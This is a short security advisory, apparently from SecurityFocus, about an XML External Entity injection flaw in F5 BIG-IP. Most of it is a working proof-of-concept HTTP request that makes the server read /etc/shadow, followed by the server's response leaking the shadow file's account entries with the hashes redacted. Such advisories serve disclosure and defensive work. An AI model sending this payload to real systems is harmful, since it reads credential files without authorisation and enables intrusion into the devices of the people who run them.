source: https://www.securityfocus.com/bid/57496/info

F5 Networks BIG-IP is prone to an XML External Entity injection vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information from local files on computers running the vulnerable application and to carry out other attacks. 

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>


The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?>
<message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client
has sent unknown dialogueType '
root:--hash--:15490::::::
bin:*:15490::::::
daemon:*:15490::::::
adm:*:15490::::::
lp:*:15490::::::
mail:*:15490::::::
uucp:*:15490::::::
operator:*:15490::::::
nobody:*:15490::::::
tmshnobody:*:15490::::::
admin:--hash--:15490:0:99999:7:::